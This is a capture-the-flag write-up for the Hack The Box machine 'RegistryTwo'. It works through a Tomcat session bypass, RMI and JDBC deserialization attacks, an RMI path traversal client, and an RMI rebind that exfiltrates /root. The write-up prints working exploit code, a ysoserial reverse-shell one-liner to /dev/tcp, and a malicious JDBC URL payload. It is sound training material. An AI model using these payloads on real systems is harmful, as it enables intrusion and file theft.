Introduction

RegistryTwo is the 8th machine I submitted to HTB. The box revolves around a company that offers static website hosting services. It starts with an exposed Apache Tomcat examples folder, which we will exploit to escalate our privileges within the web application. Having the manager role, we can override configuration properties, which will eventually give us foothold in the webapp container. From there, we can abuse a path traversal vulnerability in one of the provided RMI methods to retrieve the user password. For root, we analyse a GraalVM native image in order to find a plugin running as root, that scans the websites of users for malicious content. The program fetches the configuration for the scan from the RMI server, which allows us to perform a rebind to exfiltrate files via the quarantine functionality.

Enumeration

$ nmap -p- webhosting.htb -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-27 13:31 CEST
Warning: Hostname webhosting.htb resolves to 2 IPs. Using 192.168.62.6.
Initiating ARP Ping Scan at 13:31
Scanning webhosting.htb (192.168.62.6) [1 port]
Completed ARP Ping Scan at 13:31, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:31
Scanning webhosting.htb (192.168.62.6) [1000 ports]
Discovered open port 443/tcp on 192.168.62.6
Discovered open port 22/tcp on 192.168.62.6
Discovered open port 5000/tcp on 192.168.62.6
Discovered open port 5001/tcp on 192.168.62.6
Completed SYN Stealth Scan at 13:31, 4.20s elapsed (1000 total ports)
Nmap scan report for webhosting.htb (192.168.62.6)
Host is up, received arp-response (0.00045s latency).
Other addresses for webhosting.htb (not scanned): 192.168.59.131
Scanned at 2023-03-27 13:31:27 CEST for 4s
Not shown: 996 filtered ports
Reason: 996 no-responses
PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 64
443/tcp  open  https         syn-ack ttl 64
5000/tcp open  upnp          syn-ack ttl 63
5001/tcp open  commplex-link syn-ack ttl 63
[..]

5000, 5001 are related to the docker registry. 5001 is running the authn server. We check whether we can login as anonymous and confirm that we are authorized to list images:

$ http 'https://webhosting.htb:5001/auth?scope=registry:catalog:*&service=Docker+registry'
HTTP/1.1 200 OK
Content-Length: 1512
Content-Type: application/json
Date: Mon, 27 Mar 2023 11:34:29 GMT

{
    "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjc5OTE3NzY5LCJuYmYiOjE2Nzk5MTY4NTksImlhdCI6MTY3OTkxNjg2OSwianRpIjoiNzEwMTMzODYyMTE3MDkwMjA1OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.ZceKsNG8YfXp5CHHaDLjr7F0jDHmVCwOgssYF9yj8koTb6Jj4IpupJ4UMEKd5-5eQueSLb6M7sM6gvU0RSVWjvb1S2HjtZqgTzIF2lIwiJyiNbnlLEcx63vR2EeZ4kT75AX_v_UxgGeAJhYYWgdgvEAfIaMj0AlzgHog1KM3r5THDvAnPnxMor1R3F5m3SOl6PM2vDJAO7v3PZoNgQ_BPVsPDX6o_n1vjxtYwq2XdpO3uZFPrDtl_ZtLi931DiIpjxwb8FkuWbRz715YqyHtNOG5rASDH5NUDZQBgHCqGYxchY2HIvGNqO9KX799u2qsrzeRo_dkfmnmH5zdwbLMCQ",
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjc5OTE3NzY5LCJuYmYiOjE2Nzk5MTY4NTksImlhdCI6MTY3OTkxNjg2OSwianRpIjoiNzEwMTMzODYyMTE3MDkwMjA1OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.ZceKsNG8YfXp5CHHaDLjr7F0jDHmVCwOgssYF9yj8koTb6Jj4IpupJ4UMEKd5-5eQueSLb6M7sM6gvU0RSVWjvb1S2HjtZqgTzIF2lIwiJyiNbnlLEcx63vR2EeZ4kT75AX_v_UxgGeAJhYYWgdgvEAfIaMj0AlzgHog1KM3r5THDvAnPnxMor1R3F5m3SOl6PM2vDJAO7v3PZoNgQ_BPVsPDX6o_n1vjxtYwq2XdpO3uZFPrDtl_ZtLi931DiIpjxwb8FkuWbRz715YqyHtNOG5rASDH5NUDZQBgHCqGYxchY2HIvGNqO9KX799u2qsrzeRo_dkfmnmH5zdwbLMCQ"
}

We notice one stored image:

$ http https://webhosting.htb:5000/v2/_catalog 'Authorization: bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjc5OTE3NzY5LCJuYmYiOjE2Nzk5MTY4NTksImlhdCI6MTY3OTkxNjg2OSwianRpIjoiNzEwMTMzODYyMTE3MDkwMjA1OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.ZceKsNG8YfXp5CHHaDLjr7F0jDHmVCwOgssYF9yj8koTb6Jj4IpupJ4UMEKd5-5eQueSLb6M7sM6gvU0RSVWjvb1S2HjtZqgTzIF2lIwiJyiNbnlLEcx63vR2EeZ4kT75AX_v_UxgGeAJhYYWgdgvEAfIaMj0AlzgHog1KM3r5THDvAnPnxMor1R3F5m3SOl6PM2vDJAO7v3PZoNgQ_BPVsPDX6o_n1vjxtYwq2XdpO3uZFPrDtl_ZtLi931DiIpjxwb8FkuWbRz715YqyHtNOG5rASDH5NUDZQBgHCqGYxchY2HIvGNqO9KX799u2qsrzeRo_dkfmnmH5zdwbLMCQ'
HTTP/1.1 200 OK
Content-Length: 42
Content-Type: application/json; charset=utf-8
Date: Mon, 27 Mar 2023 11:35:34 GMT
Docker-Distribution-Api-Version: registry/2.0
X-Content-Type-Options: nosniff

{
    "repositories": [
        "hosting-app"
    ]
}

.. and pull it:

$ openssl s_client -showcerts -connect webhosting.htb:5000 < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ca.crt
$ cp ca.crt /usr/local/share/ca-certificates/
$ sudo update-ca-certificates
$ systemctl restart docker
$ docker pull webhosting.htb:5000/hosting-app
$ docker save webhosting.htb:5000/hosting-app > /tmp/image.tar
$ tar -xf image.tar
$ find . -name layer.tar -exec tar -xf {} \;

We will find the source in ./usr/local/tomcat/webapps/hosting.war.

Application

Inspection of the website shows an application that allows us to host multiple static websites via vhosts (or rather server blocks). We follow the link to the registration form and authenticate.

Once authenticated, we are redirected to /hosting and notice a JSESSIONID cookie being set. From the docker image, we know that the container has the Tomcat example webapp deployed and confirm it through requesting https://www.webhosting.htb/hosting/..;/examples/. We will focus on the https://github.com/apache/tomcat/blob/main/webapps/examples/WEB-INF/classes/SessionExample.java, located at https: //www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample. This allows us to set arbitrary values of the session attributes in the given configuration.

After logging in, we confirm that the application sets a few attributes:

Editing files, causes a new attribute to be added to our session:

We modify this value and point to the file /etc/hosts instead, confirming an arbitrary file read vulnerability:

Exploitation

Since we are provided with source, we check what functionality the app provides. Decompiling the war, we notice an endpoint reserved for managers, available at /reconfigure.

@Override // javax.servlet.http.HttpServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    if (!checkManager(request, response)) {
        return;
    }
    RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
    rd.include(request, response);
}

@Override // javax.servlet.http.HttpServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    if (!checkManager(request, response)) {
        return;
    }
    Map<String, String> parameterMap = new HashMap<>();
    request.getParameterMap().forEach(k, v -> {
        parameterMap.put(k, v[0]);
    });
    Settings.updateBy(parameterMap);
    RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
    request.setAttribute("message", "Settings updated");
    rd.include(request, response);
}

private static boolean checkManager(HttpServletRequest request, HttpServletResponse response) throws IOException {
    boolean isManager = request.getSession().getAttribute(Constants.S_IS_USER_ROLE_MGR) != null;
    if (!isManager) {
        response.sendRedirect(request.getContextPath() + "/panel");
    }
    return isManager;
}

The authz checks can be bypassed by setting the s_IsLoggedInUserRoleManager session attribute to an arbitrary value. The POST /reconfigure endpoint allows us to specify any configuration key. We can see that the Settings class is used in multiple locations:

Interesting is, that both the RMI host and the JDBC url depend on the configuration settings, which we have control over through a mass update. Both are ways we can RCE the webapp, using a gadget available in the classpath.

Method 1: RMI

The relevant code for getting the RMI objects is located in com/htb/hosting/rmi/RMIClientWrapper:

public class RMIClientWrapper {
    private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());

    public static FileService get() {
        try {
            String rmiHost = (String) Settings.get(String.class, "rmi.host", null);
            if (!rmiHost.contains(".htb")) {
                rmiHost = "registry.webhosting.htb";
            }
            System.setProperty("java.rmi.server.hostname", rmiHost);
            System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
            log.info(String.format("Connecting to %s:%d", rmiHost, Settings.get(Integer.class, "rmi.port", Integer.valueOf((int) Pattern.NONE))));
            Registry registry = LocateRegistry.getRegistry(rmiHost, ((Integer) Settings.get(Integer.class, "rmi.port", Integer.valueOf((int) Pattern.NONE))).intValue());
            return (FileService) registry.lookup("FileService");
        } catch (Exception e) {
            e.printStackTrace();
            throw new RuntimeException(e);
        }
    }
}

We notice that we can directly pass a value to it. However, it defaults to registry.webhosting.htb, if the provided host does not contain .htb. The image uses JDK 1.8.0_151. Thus, we look for ways to bypass this check. We can download the jdk from https://icedtea.classpath.org/download/drops/icedtea8/3.6.0/jdk.tar.xz. (FileService) registry.lookup("FileService") will end up calling

lookup, RegistryImpl_Stub (sun.rmi.registry)
newCall, UnicastRef (sun.rmi.server)
newConnection, TCPChannel (sun.rmi.transport.tcp)
<..snip>
createSocket, RMIDirectSocketFactory (sun.rmi.transport.proxy)
<init>, Socket (java.net)
<init>, InetSocketAddress (java.net)
getByName, InetAddress (java.net)
getAllByName, InetAddress (java.net)

Taking a look at the implementation of getAllByName, we see that it ends up calling public native InetAddress[] lookupAllHostAddr(String var1) throws UnknownHostException:

JNIEXPORT jobjectArray JNICALL
Java_java_net_Inet6AddressImpl_lookupAllHostAddr(JNIEnv *env, jobject this,
                                                jstring host) {
    const char *hostname;
    jobjectArray ret = 0;
    int retLen = 0;

    int getaddrinfo_error=0;
#ifdef AF_INET6
    struct addrinfo hints, *res, *resNew = NULL;
#endif /* AF_INET6 */

    if (!initializeInetClasses(env))
        return NULL;

    if (IS_NULL(host)) {
        JNU_ThrowNullPointerException(env, "host is null");
        return 0;
    }
    hostname = JNU_GetStringPlatformChars(env, host, JNI_FALSE);
    CHECK_NULL_RETURN(hostname, NULL);

#ifdef AF_INET6
    /* Try once, with our static buffer. */
    memset(&hints, 0, sizeof(hints));
    hints.ai_flags = AI_CANONNAME;
    hints.ai_family = AF_UNSPEC;

#ifdef __solaris__
    /*
     * Workaround for Solaris bug 4160367 - if a hostname contains a
     * white space then 0.0.0.0 is returned
     */
    if (isspace((unsigned char)hostname[0])) {
        JNU_ThrowByName(env, JNU_JAVANETPKG "UnknownHostException",
                        hostname);
        JNU_ReleaseStringPlatformChars(env, host, hostname);
        return NULL;
    }
#endif

    getaddrinfo_error = getaddrinfo(hostname, NULL, &hints, &res);

#ifdef MACOSX
    <..snip>

We notice, that before the jni call is made, there aren’t any checks for null byte characters.

This allows us to bypass the checks using a payload like ip%00.htb (fixed in https://git.openjdk.org/loom/commit/ec119716e542047f52aadefef142a9be64b35b7b/). From here, we can write a JRMP server that sends a malicious object, in order to land in the container.

Method 2: JDBC

We find another reference in com/htb/hosting/utils/HibernateUtil, where some config values are used to build the JDBC url:

public static SessionFactory reload() {
    Configuration configuration = new Configuration();
    Properties settings = new Properties();
    settings.put(AvailableSettings.DRIVER, "com.mysql.cj.jdbc.Driver");
    settings.put(AvailableSettings.URL, String.format("jdbc:mysql://%s:%d/%s?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=Europe/Rome", Settings.get(String.class, "mysql.host", "db"), Settings.get(Integer.class, "mysql.port", 3306), Settings.get(String.class, "mysql.database", "hosting")));
    settings.put(AvailableSettings.USER, Settings.get(String.class, "mysql.user", "root"));
    settings.put(AvailableSettings.PASS, Settings.get(String.class, "mysql.password", ""));
    settings.put(AvailableSettings.DIALECT, "org.hibernate.dialect.MySQL5Dialect");
    settings.put(AvailableSettings.SHOW_SQL, "true");
    settings.put(AvailableSettings.CURRENT_SESSION_CONTEXT_CLASS, "thread");
    configuration.setProperties(settings);
    configuration.addAnnotatedClass(User.class);
    configuration.addAnnotatedClass(Domain.class);
    ServiceRegistry serviceRegistry = new StandardServiceRegistryBuilder().applySettings(configuration.getProperties()).build();
    if (sessionFactory != null) {
        try {
            sessionFactory.close();
        } catch (Exception e) {
        }
    }
    sessionFactory = configuration.buildSessionFactory(serviceRegistry);
    return sessionFactory;
}

From the war file, we know that the JDBC version is 8.0.17, which can be exploited since we have control over the url. We use the server from https://github.com/LandGrey/SpringBootVulExploit.

We then generate a payload and start the server on port 9003:

$ ysoserial CommonsCollections5 "bash -c {echo,$(echo -n 'bash -i >& /dev/tcp/IP/9000 0>&1'| base64 -w0)}|{base64,-d}|{bash,-i}" > payload.ser
$ python2 jdbcexploit.py

We next send a request to /reconfigure, pointing to our mysql instance (use # to comment out the rest):

mysql.host=<IP>:9003/mysql?characterEncoding=utf8%26useSSL=false%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize=true#

Foothold container

Having foothold in the container as the app user, we remember the RMI server and test the exposed methods for path traversal. For this, we will use a locally compiled exploit and transfer it to the container:

package com.htb.hosting.rmi;


import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.List;

public class Exploit {

    public static void main(final String[] args) throws Exception {
        new Exploit().shell();
    }

    private final FileService svc;

    public Exploit() throws RemoteException, NotBoundException {
        final Registry registry = LocateRegistry.getRegistry("registry.webhosting.htb", 9002);
        this.svc = (FileService) registry.lookup("FileService");
    }

    public void shell() throws Exception {

        final BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
        String cmd;
        while ((cmd = reader.readLine()) != null) {

            final String[] arr = cmd.split(" ", 2);

            final String rawCmd = arr[1];
            final String vhostId = "482f6175cb85"; // TODO: change this to a valid vhost

            switch (arr[0]) {
                case "ls":
                    final List<AbstractFile> files = this.svc.list(vhostId, "../../../" + rawCmd);
                    files.forEach(s -> System.out.println(s.getAbsolutePath()));
                    break;
                case "cat":
                    final byte[] b = this.svc.view(vhostId, "../../../" + rawCmd);
                    System.out.println(new String(b));
                    break;

                case "write": // write <file> <string>
                    final String[] arrSpl = rawCmd.split(" ", 2);

                    this.svc.uploadFile(vhostId, "../../../" + arrSpl[0], arrSpl[1].getBytes(StandardCharsets.UTF_8));
                    break;
            }
        }
    }
}

Running it, we will enter a pseudo-shell and investigate the fs:

Shell as developer

Once on the host, we notice the binary /usr/local/sbin/vhosts-manage and that clamav is running. We can see that it loads a java archive from the /usr/share/vhost-manage/includes folder:

$ strace -e openat /usr/local/sbin/vhosts-manage -m test
<..snip>
openat(AT_FDCWD, "/usr/share/vhost-manage/includes", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
Loading 1 module(s)
No module named: 'test' found.
+++ exited with 0 +++

We find one file quarantine.jar in there and transfer it to our machine. The program loads a QuarantineConfiguration object from the registry and uses clamd to scan the monitored directory.

We thus try spoofing the returned QuarantineConfiguration object through a rebind on the RMI registry. For this, we set the following attributes:

File quarantineDirectory // -> /dev/shm/leak
File monitorDirectory // -> /root
String clamHost // -> attacker host
int clamPort // -> attacker port running a service that keeps responding with /random/path: Eicar-Test-Signature FOUND
int clamTimeout // -> 3000

… and modify the program to perform the rebind:

package com.htb.hosting.rmi;


import com.htb.hosting.rmi.quarantine.QuarantineConfiguration;
import com.htb.hosting.rmi.quarantine.QuarantineService;

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class Exploit {

    public static void main(final String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Usage: clam-ip clam-port");
            return;
        }
        final Exploit exploit = new Exploit();

        System.out.println(exploit.getQuarantineConfiguration());
        exploit.rebind(new QuarantineConfiguration(new File("/dev/shm/leak/"), new File("/root"), args[0],
                                                   Integer.parseInt(args[1]), 1000));


        System.out.println("[+] Spoofed value: " + exploit.getQuarantineConfiguration().toString());
    }

    private final FileService svc;
    private final Registry registry;

    public Exploit() throws RemoteException, NotBoundException {
        this.registry = LocateRegistry.getRegistry("localhost", 9002);
        this.svc = (FileService) this.registry.lookup("FileService");
    }

    public void rebind(final QuarantineConfiguration quarantineConfiguration) throws Exception {
        final QuarantineService quarantine = () -> quarantineConfiguration;
        final QuarantineService stub = (QuarantineService) UnicastRemoteObject.exportObject(quarantine, 0);

        System.out.println("[+] Spoofing QuarantineService");
        this.registry.rebind("QuarantineService", stub);
        System.out.println("Done.");
    }

    public QuarantineConfiguration getQuarantineConfiguration() throws Exception {
        final QuarantineService quarantineSvc = (QuarantineService) this.registry.lookup("QuarantineService");
        return quarantineSvc.getConfiguration();
    }

}

On our host, we will start a simple implementation of the clam server protocol, which always outputs that a file is malicious, so we can trigger the quarantine procedure:

import socket
import subprocess

def handle_client(client_socket):
    while 1:
        data = client_socket.recv(1024)
        if not data: break
        print(data)
        if b"\x00" in data:
            break

    client_socket.sendall("/random/path: Eicar-Test-Signature FOUND".encode())
    client_socket.close()

def start_server():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    addr = ("0.0.0.0", 9004)
    server_socket.bind(addr)
    server_socket.listen(5)
    print(f"[+] Listening on {addr}")

    while True:
        client_socket, client_address = server_socket.accept()
        print(f"Incoming client {client_address}")
        handle_client(client_socket)

if __name__ == "__main__":
    start_server()

Executing the exploit, the rebind is made:

$ java -jar /tmp/exploit-j8.jar QUARANTINE IP 9004
Defaulting to quarantine rebind
QuarantineConfiguration(quarantineDirectory=/root/quarantine, monitorDirectory=/sites, clamHost=localhost, clamPort=3310, clamTimeout=1000)
[+] Spoofing QuarantineService
Done.
[+] Spoofed value: QuarantineConfiguration(quarantineDirectory=/dev/shm/leak, monitorDirectory=/root, clamHost=IP, clamPort=9004, clamTimeout=1000)

.. and waiting a few seconds, we should see a few callbacks incoming and eventually find /root in /dev/shm/leak:

This already finishes the box 😄

Root - Unintended

It should be noted, that many were able to abuse a race condition for the very last step. The registry was restarted every few minutes, in order to get rid of any artifacts. Since it was listening on a non privileged port, people could race that cleanup and start their own registry, serving their malicous configuration object. However, this approach still required at least equal effort, so I can live with it.